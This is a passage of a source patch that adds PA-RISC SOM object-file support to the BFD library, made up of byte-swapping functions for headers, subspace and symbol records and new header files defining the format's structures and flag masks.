+    H_PUT_32 (abfd, src->loader_fix_quantity, &dst->loader_fix_quantity);
+    H_PUT_32 (abfd, src->init_pointer_index, &dst->init_pointer_index);
+    H_PUT_32 (abfd, src->init_pointer_quantity, &dst->init_pointer_quantity);
+}
+
+static void
+som_bfd_get_subspace_dictionary_record (bfd * abfd, 
+    const struct subspace_dictionary_record * src,
+    struct internal_subspace_dictionary_record * dst)
+{
+    uint32_t flags;
+
+    dst->space_index           = H_GET_32 (abfd, &src->space_index);
+    flags = H_GET_32 (abfd, &src->flags);
+    dst->access_control_bits = (flags & SCN_ACCESS_CONTROL_BITS_MASK) >> SCN_ACCESS_CONTROL_BITS_SHIFT;
+    dst->memory_resident = flags & SCN_MEMORY_RESIDENT;
+    dst->dup_common = flags & SCN_DUP_COMMON;
+    dst->is_common = flags & SCN_IS_COMMON;
+    dst->is_loadable = flags & SCN_IS_LOADABLE;
+    dst->quadrant = (flags & SCN_QUADRANT_MASK) >> SCN_QUADRANT_SHIFT;
+    dst->initially_frozen = flags & SCN_INITIALLY_FROZEN;
+    dst->is_first = flags & SCN_IS_FIRST;
+    dst->code_only = flags & SCN_CODE_ONLY;
+    dst->sort_key  = (flags & SCN_SORT_KEY_MASK) >> SCN_SORT_KEY_SHIFT;
+    dst->replicate_init = flags & SCN_REPLICATE_INIT;
+    dst->continuation = flags & SCN_CONTINUATION;
+    dst->is_tspecific = flags & SCN_IS_TSPECIFIC;
+    dst->is_comdat = flags & SCN_IS_COMDAT;
+    dst->file_loc_init_value   = H_GET_32 (abfd, &src->file_loc_init_value);
+    dst->initialization_length = H_GET_32 (abfd, &src->initialization_length);
+    dst->subspace_start        = H_GET_32 (abfd, &src->subspace_start);
+    dst->subspace_length       = H_GET_32 (abfd, &src->subspace_length);
+    dst->alignment = (H_GET_32 (abfd, &src->flags2) & SCN_ALIGNMENT_MASK)
+			>> SCN_ALIGNMENT_SHIFT;
+    som_bfd_get_name_pt (abfd, &src->name, &dst->name);
+    dst->fixup_request_index   = H_GET_32 (abfd, &src->fixup_request_index);
+    dst->fixup_request_quantity= H_GET_32 (abfd, &src->fixup_request_quantity);
+}
+
+static void
+som_bfd_put_subspace_dictionary_record (bfd * abfd, 
+    const struct internal_subspace_dictionary_record * src,
+    struct subspace_dictionary_record * dst)
+{
+    uint32_t flags;
+
+    memset (dst, 0, sizeof *dst);
+    H_PUT_32 (abfd, src->space_index, &dst->space_index);
+    flags = 0;
+    flags |= (src->access_control_bits << SCN_ACCESS_CONTROL_BITS_SHIFT) & SCN_ACCESS_CONTROL_BITS_MASK;
+    flags |= src->memory_resident ? SCN_MEMORY_RESIDENT : 0;
+    flags |= src->dup_common ? SCN_DUP_COMMON : 0;
+    flags |= src->is_common ? SCN_IS_COMMON : 0;
+    flags |= src->is_loadable ? SCN_IS_LOADABLE : 0;
+    flags |= (src->quadrant << SCN_QUADRANT_SHIFT) & SCN_QUADRANT_MASK;
+    flags |= src->initially_frozen ? SCN_INITIALLY_FROZEN : 0;
+    flags |= src->is_first ? SCN_IS_FIRST : 0;
+    flags |= src->code_only ? SCN_CODE_ONLY : 0;
+    flags |= (src->sort_key << SCN_SORT_KEY_SHIFT) & SCN_SORT_KEY_MASK;
+    flags |= src->replicate_init ? SCN_REPLICATE_INIT : 0;
+    flags |= src->continuation ? SCN_CONTINUATION : 0;
+    flags |= src->is_tspecific ? SCN_IS_TSPECIFIC : 0;
+    flags |= src->is_comdat ? SCN_IS_COMDAT : 0;
+    H_PUT_32 (abfd, flags, &dst->flags);
+    H_PUT_32 (abfd, src->file_loc_init_value, &dst->file_loc_init_value);
+    H_PUT_32 (abfd, src->initialization_length, &dst->initialization_length);
+    H_PUT_32 (abfd, src->subspace_start, &dst->subspace_start);
+    H_PUT_32 (abfd, src->subspace_length, &dst->subspace_length);
+    flags = 0;
+    flags |= (src->alignment << SCN_ALIGNMENT_SHIFT) & SCN_ALIGNMENT_MASK;
+    H_PUT_32 (abfd, flags, &dst->flags2);
+    som_bfd_put_name_pt (abfd, &src->name, &dst->name);
+    H_PUT_32 (abfd, src->fixup_request_index, &dst->fixup_request_index);
+    H_PUT_32 (abfd, src->fixup_request_quantity, &dst->fixup_request_quantity);
+}
+
+static void
+som_bfd_get_header (bfd * abfd, const struct header * src, struct header * dst)
+{
+    dst->system_id = H_GET_16 (abfd, &src->system_id);
+    dst->a_magic = H_GET_16 (abfd, &src->a_magic);
+    dst->version_id = H_GET_32 (abfd, &src->version_id);
+    som_bfd_get_sys_clock (abfd, &src->file_time, &dst->file_time);
+    dst->entry_space = H_GET_32 (abfd, &src->entry_space);
+    dst->entry_subspace = H_GET_32 (abfd, &src->entry_subspace);
+    dst->entry_offset = H_GET_32 (abfd, &src->entry_offset);
+    dst->aux_header_location = H_GET_32 (abfd, &src->aux_header_location);
+    dst->aux_header_size = H_GET_32 (abfd, &src->aux_header_size);
+    dst->som_length = H_GET_32 (abfd, &src->som_length);
+    dst->presumed_dp = H_GET_32 (abfd, &src->presumed_dp);
+    dst->space_location = H_GET_32 (abfd, &src->space_location);
+    dst->space_total = H_GET_32 (abfd, &src->space_total);
+    dst->subspace_location = H_GET_32 (abfd, &src->subspace_location);
+    dst->subspace_total = H_GET_32 (abfd, &src->subspace_total);
+    dst->loader_fixup_location = H_GET_32 (abfd, &src->loader_fixup_location);
+    dst->loader_fixup_total = H_GET_32 (abfd, &src->loader_fixup_total);
+    dst->space_strings_location = H_GET_32 (abfd, &src->space_strings_location);
+    dst->space_strings_size = H_GET_32 (abfd, &src->space_strings_size);
+    dst->init_array_location = H_GET_32 (abfd, &src->init_array_location);
+    dst->init_array_total = H_GET_32 (abfd, &src->init_array_total);
+    dst->compiler_location = H_GET_32 (abfd, &src->compiler_location);
+    dst->compiler_total = H_GET_32 (abfd, &src->compiler_total);
+    dst->symbol_location = H_GET_32 (abfd, &src->symbol_location);
+    dst->symbol_total = H_GET_32 (abfd, &src->symbol_total);
+    dst->fixup_request_location = H_GET_32 (abfd, &src->fixup_request_location);
+    dst->fixup_request_total = H_GET_32 (abfd, &src->fixup_request_total);
+    dst->symbol_strings_location = H_GET_32 (abfd, &src->symbol_strings_location);
+    dst->symbol_strings_size = H_GET_32 (abfd, &src->symbol_strings_size);
+    dst->unloadable_sp_location = H_GET_32 (abfd, &src->unloadable_sp_location);
+    dst->unloadable_sp_size = H_GET_32 (abfd, &src->unloadable_sp_size);
+    dst->checksum = H_GET_32 (abfd, &src->checksum);
+}
+
+static void
+som_bfd_put_header (bfd * abfd, const struct header * src, struct header * dst)
+{
+    H_PUT_16 (abfd, src->system_id, &dst->system_id);
+    H_PUT_16 (abfd, src->a_magic, &dst->a_magic);
+    H_PUT_32 (abfd, src->version_id, &dst->version_id);
+    som_bfd_put_sys_clock (abfd, &src->file_time, &dst->file_time);
+    H_PUT_32 (abfd, src->entry_space, &dst->entry_space);
+    H_PUT_32 (abfd, src->entry_subspace, &dst->entry_subspace);
+    H_PUT_32 (abfd, src->entry_offset, &dst->entry_offset);
+    H_PUT_32 (abfd, src->aux_header_location, &dst->aux_header_location);
+    H_PUT_32 (abfd, src->aux_header_size, &dst->aux_header_size);
+    H_PUT_32 (abfd, src->som_length, &dst->som_length);
+    H_PUT_32 (abfd, src->presumed_dp, &dst->presumed_dp);
+    H_PUT_32 (abfd, src->space_location, &dst->space_location);
+    H_PUT_32 (abfd, src->space_total, &dst->space_total);
+    H_PUT_32 (abfd, src->subspace_location, &dst->subspace_location);
+    H_PUT_32 (abfd, src->subspace_total, &dst->subspace_total);
+    H_PUT_32 (abfd, src->loader_fixup_location, &dst->loader_fixup_location);
+    H_PUT_32 (abfd, src->loader_fixup_total, &dst->loader_fixup_total);
+    H_PUT_32 (abfd, src->space_strings_location, &dst->space_strings_location);
+    H_PUT_32 (abfd, src->space_strings_size, &dst->space_strings_size);
+    H_PUT_32 (abfd, src->init_array_location, &dst->init_array_location);
+    H_PUT_32 (abfd, src->init_array_total, &dst->init_array_total);
+    H_PUT_32 (abfd, src->compiler_location, &dst->compiler_location);
+    H_PUT_32 (abfd, src->compiler_total, &dst->compiler_total);
+    H_PUT_32 (abfd, src->symbol_location, &dst->symbol_location);
+    H_PUT_32 (abfd, src->symbol_total, &dst->symbol_total);
+    H_PUT_32 (abfd, src->fixup_request_location, &dst->fixup_request_location);
+    H_PUT_32 (abfd, src->fixup_request_total, &dst->fixup_request_total);
+    H_PUT_32 (abfd, src->symbol_strings_location, &dst->symbol_strings_location);
+    H_PUT_32 (abfd, src->symbol_strings_size, &dst->symbol_strings_size);
+    H_PUT_32 (abfd, src->unloadable_sp_location, &dst->unloadable_sp_location);
+    H_PUT_32 (abfd, src->unloadable_sp_size, &dst->unloadable_sp_size);
+    H_PUT_32 (abfd, src->checksum, &dst->checksum);
+}
+
+static void
+som_bfd_get_som_entry (bfd * abfd, const struct som_entry * src,
+    struct som_entry * dst)
+{
+    dst->location = H_GET_32 (abfd, &src->location);
+    dst->length = H_GET_32 (abfd, &src->length);
+}
+
+static void
+som_bfd_put_som_entry (bfd * abfd, const struct som_entry * src,
+    struct som_entry * dst)
+{
+    H_PUT_32 (abfd, src->location, &dst->location);
+    H_PUT_32 (abfd, src->length, &dst->length);
+}
+
+static void
+som_bfd_get_aux_id (bfd * abfd,
+    const struct aux_id * src,
+    struct internal_aux_id * dst)
+{
+    uint32_t flags;
+    
+    flags = H_GET_32 (abfd, &src->flags);
+    dst->mandatory = flags & AUX_MANDATORY;
+    dst->copy = flags & AUX_COPY;
+    dst->append = flags & AUX_APPEND;
+    dst->ignore = flags & AUX_IGNORE;
+    dst->type = (flags & AUX_TYPE_MASK) >> AUX_TYPE_SHIFT;
+    dst->length = H_GET_32 (abfd, &src->length);
+}
+
+static void
+som_bfd_put_aux_id (bfd * abfd,
+    const struct internal_aux_id * src,
+    struct aux_id * dst)
+{
+    uint32_t flags;
+
+    memset (dst, 0, sizeof *dst);
+    flags = 0;
+    flags |= src->mandatory ? AUX_MANDATORY : 0;
+    flags |= src->copy ? AUX_COPY : 0;
+    flags |= src->append ? AUX_APPEND : 0;
+    flags |= src->ignore ? AUX_IGNORE : 0;
+    flags |= (src->type << AUX_TYPE_SHIFT) & AUX_TYPE_MASK;
+    H_PUT_32 (abfd, flags, &dst->flags);
+    H_PUT_32 (abfd, src->length, &dst->length);
+}
+
+static void
+som_bfd_get_som_exec_auxhdr (bfd * abfd,
+    const struct som_exec_auxhdr * src,
+    struct internal_som_exec_auxhdr * dst)
+{
+    som_bfd_get_aux_id (abfd, &src->som_auxhdr, &dst->som_auxhdr);
+    dst->exec_tsize = H_GET_32 (abfd, &src->exec_tsize);
+    dst->exec_tmem = H_GET_32 (abfd, &src->exec_tmem);
+    dst->exec_tfile = H_GET_32 (abfd, &src->exec_tfile);
+    dst->exec_dsize = H_GET_32 (abfd, &src->exec_dsize);
+    dst->exec_dmem = H_GET_32 (abfd, &src->exec_dmem);
+    dst->exec_dfile = H_GET_32 (abfd, &src->exec_dfile);
+    dst->exec_bsize = H_GET_32 (abfd, &src->exec_bsize);
+    dst->exec_entry = H_GET_32 (abfd, &src->exec_entry);
+    dst->exec_flags = H_GET_32 (abfd, &src->exec_flags);
+    dst->exec_bfill = H_GET_32 (abfd, &src->exec_bfill);
+}
+
+static void
+som_bfd_put_som_exec_auxhdr (bfd * abfd,
+    const struct internal_som_exec_auxhdr * src,
+    struct som_exec_auxhdr * dst)
+{
+    som_bfd_put_aux_id (abfd, &src->som_auxhdr, &dst->som_auxhdr);
+    H_PUT_32 (abfd, src->exec_tsize, &dst->exec_tsize);
+    H_PUT_32 (abfd, src->exec_tmem, &dst->exec_tmem);
+    H_PUT_32 (abfd, src->exec_tfile, &dst->exec_tfile);
+    H_PUT_32 (abfd, src->exec_dsize, &dst->exec_dsize);
+    H_PUT_32 (abfd, src->exec_dmem, &dst->exec_dmem);
+    H_PUT_32 (abfd, src->exec_dfile, &dst->exec_dfile);
+    H_PUT_32 (abfd, src->exec_bsize, &dst->exec_bsize);
+    H_PUT_32 (abfd, src->exec_entry, &dst->exec_entry);
+    H_PUT_32 (abfd, src->exec_flags, &dst->exec_flags);
+    H_PUT_32 (abfd, src->exec_bfill, &dst->exec_bfill);
+}
+
+
+static void
+som_bfd_get_lst_header (bfd * abfd,
+    const struct lst_header * src,
+    struct lst_header * dst)
+{
+    dst->system_id = H_GET_16 (abfd, &src->system_id);
+    dst->a_magic = H_GET_16 (abfd, &src->a_magic);
+    dst->version_id = H_GET_32 (abfd, &src->version_id);
+    som_bfd_get_sys_clock (abfd, &src->file_time, &dst->file_time);
+    dst->hash_loc = H_GET_32 (abfd, &src->hash_loc);
+    dst->hash_size = H_GET_32 (abfd, &src->hash_size);
+    dst->module_count = H_GET_32 (abfd, &src->module_count);
+    dst->module_limit = H_GET_32 (abfd, &src->module_limit);
+    dst->dir_loc = H_GET_32 (abfd, &src->dir_loc);
+    dst->export_loc = H_GET_32 (abfd, &src->export_loc);
+    dst->export_count = H_GET_32 (abfd, &src->export_count);
+    dst->import_loc = H_GET_32 (abfd, &src->import_loc);
+    dst->aux_loc = H_GET_32 (abfd, &src->aux_loc);
+    dst->aux_size = H_GET_32 (abfd, &src->aux_size);
+    dst->string_loc = H_GET_32 (abfd, &src->string_loc);
+    dst->string_size = H_GET_32 (abfd, &src->string_size);
+    dst->free_list = H_GET_32 (abfd, &src->free_list);
+    dst->file_end = H_GET_32 (abfd, &src->file_end);
+    dst->checksum = H_GET_32 (abfd, &src->checksum);
+}
+
+static void
+som_bfd_put_lst_header (bfd * abfd,
+    const struct lst_header * src,
+    struct lst_header * dst)
+{
+    H_PUT_16 (abfd, src->system_id, &dst->system_id);
+    H_PUT_16 (abfd, src->a_magic, &dst->a_magic);
+    H_PUT_32 (abfd, src->version_id, &dst->version_id);
+    som_bfd_put_sys_clock (abfd, &src->file_time, &dst->file_time);
+    H_PUT_32 (abfd, src->hash_loc, &dst->hash_loc);
+    H_PUT_32 (abfd, src->hash_size, &dst->hash_size);
+    H_PUT_32 (abfd, src->module_count, &dst->module_count);
+    H_PUT_32 (abfd, src->module_limit, &dst->module_limit);
+    H_PUT_32 (abfd, src->dir_loc, &dst->dir_loc);
+    H_PUT_32 (abfd, src->export_loc, &dst->export_loc);
+    H_PUT_32 (abfd, src->export_count, &dst->export_count);
+    H_PUT_32 (abfd, src->import_loc, &dst->import_loc);
+    H_PUT_32 (abfd, src->aux_loc, &dst->aux_loc);
+    H_PUT_32 (abfd, src->aux_size, &dst->aux_size);
+    H_PUT_32 (abfd, src->string_loc, &dst->string_loc);
+    H_PUT_32 (abfd, src->string_size, &dst->string_size);
+    H_PUT_32 (abfd, src->free_list, &dst->free_list);
+    H_PUT_32 (abfd, src->file_end, &dst->file_end);
+    H_PUT_32 (abfd, src->checksum, &dst->checksum);
+}
+
+static void
+som_bfd_get_lst_symbol_record (bfd * abfd,
+    const struct lst_symbol_record * src,
+    struct internal_lst_symbol_record * dst)
+{
+    u_int32_t flags;
+    
+    flags = H_GET_32 (abfd, &src->flags);
+    dst->hidden = flags & LST_HIDDEN;
+    dst->secondary_def = flags & LST_SECONDARY_DEF;
+    dst->symbol_type = (flags & LST_SYMBOL_TYPE_MASK) >> LST_SYMBOL_TYPE_SHIFT;
+    dst->symbol_scope = (flags & LST_SYMBOL_SCOPE_MASK) >> LST_SYMBOL_SCOPE_SHIFT;
+    dst->check_level = (flags & LST_CHECK_LEVEL_MASK) >> LST_CHECK_LEVEL_SHIFT;
+    dst->must_qualify = flags & LST_MUST_QUALIFY;
+    dst->initially_frozen = flags & LST_INITIALLY_FROZEN;
+    dst->memory_resident = flags & LST_MEMORY_RESIDENT;
+    dst->is_common = flags & LST_IS_COMMON;
+    dst->dup_common = flags & LST_DUP_COMMON;
+    dst->xleast = (flags & LST_XLEAST_MASK) >> LST_XLEAST_SHIFT;
+    dst->arg_reloc = (flags & LST_ARG_RELOC_MASK) >> LST_ARG_RELOC_SHIFT;
+    som_bfd_get_name_pt (abfd, &src->name, &dst->name);
+    som_bfd_get_name_pt (abfd, &src->qualifier_name, &dst->qualifier_name);
+    dst->symbol_info = H_GET_32 (abfd, &src->symbol_info);
+    dst->symbol_value = H_GET_32 (abfd, &src->symbol_value);
+    dst->symbol_descriptor = H_GET_32 (abfd, &src->symbol_descriptor);
+    flags = H_GET_32 (abfd, &src->flags2);
+    dst->reserved = (flags & LST_RESERVED_MASK) >> LST_RESERVED_SHIFT;
+    dst->max_num_args = (flags & LST_MAX_NUM_ARGS_MASK) >> LST_MAX_NUM_ARGS_SHIFT;
+    dst->min_num_args = (flags & LST_MIN_NUM_ARGS_MASK) >> LST_MIN_NUM_ARGS_SHIFT;
+    dst->num_args = (flags & LST_NUM_ARGS_MASK) >> LST_NUM_ARGS_SHIFT;
+    dst->som_index = H_GET_32 (abfd, &src->som_index);
+    dst->symbol_key = H_GET_32 (abfd, &src->symbol_key);
+    dst->next_entry = H_GET_32 (abfd, &src->next_entry);
+}
+
+static void
+som_bfd_put_lst_symbol_record (bfd * abfd,
+    const struct internal_lst_symbol_record * src,
+    struct lst_symbol_record * dst)
+{
+    u_int32_t flags;
+
+    memset (dst, 0, sizeof *dst);
+    flags = 0;
+    flags |= src->hidden ? LST_HIDDEN : 0;
+    flags |= src->secondary_def ? LST_SECONDARY_DEF : 0;
+    flags |= (src->symbol_type << LST_SYMBOL_TYPE_SHIFT) & LST_SYMBOL_TYPE_MASK;
+    flags |= (src->symbol_scope << LST_SYMBOL_SCOPE_SHIFT) & LST_SYMBOL_SCOPE_MASK;
+    flags |= (src->check_level << LST_CHECK_LEVEL_SHIFT) & LST_CHECK_LEVEL_MASK;
+    flags |= src->must_qualify ? LST_MUST_QUALIFY : 0;
+    flags |= src->initially_frozen ? LST_INITIALLY_FROZEN : 0;
+    flags |= src->memory_resident ? LST_MEMORY_RESIDENT : 0;
+    flags |= src->is_common ? LST_IS_COMMON : 0;
+    flags |= src->dup_common ? LST_DUP_COMMON : 0;
+    flags |= (src->xleast << LST_XLEAST_SHIFT) & LST_XLEAST_MASK;
+    flags |= (src->arg_reloc << LST_ARG_RELOC_SHIFT) & LST_ARG_RELOC_MASK;
+    H_PUT_32 (abfd, flags, &dst->flags);
+    som_bfd_put_name_pt (abfd, &src->name, &dst->name);
+    som_bfd_put_name_pt (abfd, &src->qualifier_name, &dst->qualifier_name);
+    H_PUT_32 (abfd, src->symbol_info, &dst->symbol_info);
+    H_PUT_32 (abfd, src->symbol_value, &dst->symbol_value);
+    H_PUT_32 (abfd, src->symbol_descriptor, &dst->symbol_descriptor);
+    flags = 0;
+    flags |= (src->reserved << LST_RESERVED_SHIFT) & LST_RESERVED_MASK;
+    flags |= (src->max_num_args << LST_MAX_NUM_ARGS_SHIFT) & LST_MAX_NUM_ARGS_MASK;
+    flags |= (src->min_num_args << LST_MIN_NUM_ARGS_SHIFT) & LST_MIN_NUM_ARGS_MASK;
+    flags |= (src->num_args << LST_NUM_ARGS_SHIFT) & LST_NUM_ARGS_MASK;
+    H_PUT_32 (abfd, flags, &dst->flags2);
+    H_PUT_32 (abfd, src->som_index, &dst->som_index);
+    H_PUT_32 (abfd, src->symbol_key, &dst->symbol_key);
+    H_PUT_32 (abfd, src->next_entry, &dst->next_entry);
+}
+
+static void
+som_bfd_get_symbol_dictionary_record (bfd * abfd,
+    const struct symbol_dictionary_record * src,
+    struct internal_symbol_dictionary_record * dst)
+{
+    uint32_t flags;
+
+    flags = H_GET_32 (abfd, &src->flags);
+    dst->hidden = flags & SDR_HIDDEN;
+    dst->secondary_def = flags & SDR_SECONDARY_DEF;
+    dst->symbol_type = (flags & SDR_SYMBOL_TYPE_MASK) >> SDR_SYMBOL_TYPE_SHIFT;
+    dst->symbol_scope = (flags & SDR_SYMBOL_SCOPE_MASK) >> SDR_SYMBOL_SCOPE_SHIFT;
+    dst->check_level = (flags & SDR_CHECK_LEVEL_MASK) >> SDR_CHECK_LEVEL_SHIFT;
+    dst->must_qualify = flags & SDR_MUST_QUALIFY;
+    dst->initially_frozen = flags & SDR_INITIALLY_FROZEN;
+    dst->memory_resident = flags & SDR_MEMORY_RESIDENT;
+    dst->is_common = flags & SDR_IS_COMMON;
+    dst->dup_common = flags & SDR_DUP_COMMON;
+    dst->xleast = (flags & SDR_XLEAST_MASK) >> SDR_XLEAST_SHIFT;
+    dst->arg_reloc = (flags & SDR_ARG_RELOC_MASK) >> SDR_ARG_RELOC_SHIFT;
+    som_bfd_get_name_pt (abfd, &src->name, &dst->name);
+    som_bfd_get_name_pt (abfd, &src->qualifier_name, &dst->qualifier_name);
+    flags = H_GET_32 (abfd, &src->flags2);
+    dst->has_long_return = flags & SDR_HAS_LONG_RETURN;
+    dst->no_relocation = flags & SDR_NO_RELOCATION;
+    dst->is_comdat = flags & SDR_IS_COMDAT;
+    dst->is_protected = flags & SDR_IS_PROTECTED;
+    dst->reserved = (flags & SDR_RESERVED_MASK) >> SDR_RESERVED_SHIFT;
+    dst->symbol_info = (flags & SDR_SYMBOL_INFO_MASK) >> SDR_SYMBOL_INFO_SHIFT;
+    dst->symbol_value = H_GET_32 (abfd, &src->symbol_value);
+}
+
+static void
+som_bfd_put_symbol_dictionary_record (bfd * abfd,
+    const struct internal_symbol_dictionary_record * src,
+    struct symbol_dictionary_record * dst)
+{
+    uint32_t flags;
+
+    memset (dst, 0, sizeof *dst);
+    flags = 0;
+    flags |= src->hidden ? SDR_HIDDEN : 0;
+    flags |= src->secondary_def ? SDR_SECONDARY_DEF : 0;
+    flags |= (src->symbol_type << SDR_SYMBOL_TYPE_SHIFT) & SDR_SYMBOL_TYPE_MASK;
+    flags |= (src->symbol_scope << SDR_SYMBOL_SCOPE_SHIFT) & SDR_SYMBOL_SCOPE_MASK;
+    flags |= (src->check_level << SDR_CHECK_LEVEL_SHIFT) & SDR_CHECK_LEVEL_MASK;
+    flags |= src->must_qualify ? SDR_MUST_QUALIFY : 0;
+    flags |= src->initially_frozen ? SDR_INITIALLY_FROZEN : 0;
+    flags |= src->memory_resident ? SDR_MEMORY_RESIDENT : 0;
+    flags |= src->is_common ? SDR_IS_COMMON : 0;
+    flags |= src->dup_common ? SDR_DUP_COMMON : 0;
+    flags |= (src->xleast << SDR_XLEAST_SHIFT) & SDR_XLEAST_MASK;
+    flags |= (src->arg_reloc << SDR_ARG_RELOC_SHIFT) & SDR_ARG_RELOC_MASK;
+    som_bfd_put_name_pt (abfd, &src->name, &dst->name);
+    som_bfd_put_name_pt (abfd, &src->qualifier_name, &dst->qualifier_name);
+    H_PUT_32 (abfd, flags, &dst->flags);
+    flags = 0;
+    flags |= src->has_long_return ? SDR_HAS_LONG_RETURN : 0;
+    flags |= src->no_relocation ? SDR_NO_RELOCATION : 0;
+    flags |= src->is_comdat ? SDR_IS_COMDAT : 0;
+    flags |= src->is_protected ? SDR_IS_PROTECTED : 0;
+    flags |= (src->reserved << SDR_RESERVED_SHIFT) & SDR_RESERVED_MASK;
+    flags |= (src->symbol_info << SDR_SYMBOL_INFO_SHIFT) & SDR_SYMBOL_INFO_MASK;
+    H_PUT_32 (abfd, flags, &dst->flags2);
+    H_PUT_32 (abfd, src->symbol_value, &dst->symbol_value);
+}
+
+#if 0
+static void
+som_bfd_get_compilation_unit (bfd * abfd,
+    const struct compilation_unit * src,
+    struct internal_compilation_unit * dst)
+{
+    uint32_t flags;
+
+    som_bfd_get_name_pt (abfd, &src->name, &dst->name);
+    som_bfd_get_name_pt (abfd, &src->language_name, &dst->language_name);
+    som_bfd_get_name_pt (abfd, &src->product_id, &dst->product_id);
+    som_bfd_get_name_pt (abfd, &src->version_id, &dst->version_id);
+    flags = H_GET_32 (abfd, &src->flags);
+    dst->reserved = (flags & CU_RESERVED_MASK) >> CU_RESERVED_SHIFT;
+    dst->chunk_flag = flags & CU_CHUNK_FLAG;
+    som_bfd_get_sys_clock (abfd, &src->compile_time, &dst->compile_time);
+    som_bfd_get_sys_clock (abfd, &src->source_time, &dst->source_time);
+}
+#endif
+
+static void
+som_bfd_put_compilation_unit (bfd * abfd,
+    const struct internal_compilation_unit * src,
+    struct compilation_unit * dst)
+{
+    uint32_t flags;
+
+    memset (dst, 0, sizeof *dst);
+    som_bfd_put_name_pt (abfd, &src->name, &dst->name);
+    som_bfd_put_name_pt (abfd, &src->language_name, &dst->language_name);
+    som_bfd_put_name_pt (abfd, &src->product_id, &dst->product_id);
+    som_bfd_put_name_pt (abfd, &src->version_id, &dst->version_id);
+    flags = 0;
+    flags |= (src->reserved << CU_RESERVED_SHIFT) & CU_RESERVED_MASK;
+    flags |= src->chunk_flag ? CU_CHUNK_FLAG : 0;
+    H_PUT_32 (abfd, flags, &dst->flags);
+    som_bfd_put_sys_clock (abfd, &src->compile_time, &dst->compile_time);
+    som_bfd_put_sys_clock (abfd, &src->source_time, &dst->source_time);
+}
+
+
+#endif /* _bfd_som_somswap_h */
Index: include/som/syms.h
===================================================================
--- include/som/syms.h	(revision 0)
+++ include/som/syms.h	(revision 12)
@@ -0,0 +1,104 @@
+/* Declaration of data structures for symbol dicts in PA-SOM object files.
+   (c) 2007, Quest Software, Inc. All rights reserved.
+   Written by David Leonard based on information published by Hewlett-Packard.
+
+   This file is part of BFD, the Binary File Descriptor library.
+
+   This program is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; either version 2 of the License, or
+   (at your option) any later version.
+
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with this program; if not, write to the Free Software Foundation, Inc.,
+   51 Franklin Street - Fifth Floor, Boston, MA 02110-1301, USA.  */
+
+#ifndef _bfd_som_syms_h
+#define _bfd_som_syms_h
+
+#include "aouttypes.h"
+
+struct symbol_dictionary_record {
+    uint32_t	    flags;
+#define SDR_HIDDEN                      0x80000000
+#define SDR_SECONDARY_DEF               0x40000000
+#define SDR_SYMBOL_TYPE_MASK            0x3f000000
+#define SDR_SYMBOL_TYPE_SHIFT           24
+#define SDR_SYMBOL_SCOPE_MASK           0x00f00000
+#define SDR_SYMBOL_SCOPE_SHIFT          20
+#define SDR_CHECK_LEVEL_MASK            0x000e0000
+#define SDR_CHECK_LEVEL_SHIFT           17
+#define SDR_MUST_QUALIFY                0x00010000
+#define SDR_INITIALLY_FROZEN            0x00008000
+#define SDR_MEMORY_RESIDENT             0x00004000
+#define SDR_IS_COMMON                   0x00002000
+#define SDR_DUP_COMMON                  0x00001000
+#define SDR_XLEAST_MASK                 0x00000c00
+#define SDR_XLEAST_SHIFT                10
+#define SDR_ARG_RELOC_MASK              0x000003ff
+#define SDR_ARG_RELOC_SHIFT             0
+    union name_pt   name;
+    union name_pt   qualifier_name;
+    uint32_t        flags2;
+#define SDR_HAS_LONG_RETURN             0x80000000
+#define SDR_NO_RELOCATION               0x40000000
+#define SDR_IS_COMDAT                   0x20000000
+#define SDR_IS_PROTECTED                0x10000000
+#define SDR_RESERVED_MASK               0x0f000000
+#define SDR_RESERVED_SHIFT              24
+#define SDR_SYMBOL_INFO_MASK            0x00ffffff
+#define SDR_SYMBOL_INFO_SHIFT           0
+    uint32_t        symbol_value;
+};
+
+struct internal_symbol_dictionary_record {
+    bfd_boolean     hidden;
+    bfd_boolean     secondary_def;
+    unsigned int    symbol_type : 6;
+#define ST_NULL             0
+#define ST_ABSOLUTE         1
+#define ST_DATA             2
+#define ST_CODE             3
+#define ST_PRI_PROG         4
+#define ST_SEC_PROG         5
+#define ST_ENTRY            6
+#define ST_STORAGE          7
+#define ST_STUB             8
+#define ST_SYM_EXT          10
+#define ST_ARG_EXT          11
+#define ST_MILLICODE        12
+#define ST_PLABEL           13
+    unsigned int    symbol_scope : 4;
+#define SS_UNSAT            0
+#define SS_EXTERNAL         1
+#define SS_LOCAL            2
+#define SS_UNIVERSAL        3
+    unsigned int    check_level : 3;
+    bfd_boolean     must_qualify;
+    bfd_boolean     initially_frozen;
+    bfd_boolean     memory_resident;
+    bfd_boolean     is_common;
+    bfd_boolean     dup_common;
+    unsigned int    xleast : 2;
+    unsigned int    arg_reloc : 10;
+    union internal_name_pt name;
+#define n_nptr              name.n_name
+#define n_offset            name.n_strx
+    union internal_name_pt qualifier_name;
+#define q_nptr              qualifier_name.n_name
+#define q_offset            qualifier_name.n_strx
+    bfd_boolean     has_long_return;
+    bfd_boolean     no_relocation;
+    bfd_boolean     is_comdat;
+    bfd_boolean     is_protected;
+    unsigned int    reserved : 4;
+    uint32_t        symbol_info : 24;
+    uint32_t        symbol_value;
+};
+
+#endif /* _bfd_som_syms_h */
Index: include/som/aouttypes.h
===================================================================
--- include/som/aouttypes.h	(revision 0)
+++ include/som/aouttypes.h	(revision 12)
@@ -0,0 +1,43 @@
+/* Declaration of data structures for the PA-SOM object format.
+   (c) 2007, Quest Software, Inc. All rights reserved.
+   Written by David Leonard based on information published by Hewlett-Packard.
+
+   This file is part of BFD, the Binary File Descriptor library.
+
+   This program is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; either version 2 of the License, or
+   (at your option) any later version.
+
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with this program; if not, write to the Free Software Foundation, Inc.,
+   51 Franklin Street - Fifth Floor, Boston, MA 02110-1301, USA.  */
+
+#ifndef _bfd_som_aouttypes_h
+#define _bfd_som_aouttypes_h
+
+#include "bfd_stdint.h"
+
+struct sys_clock {
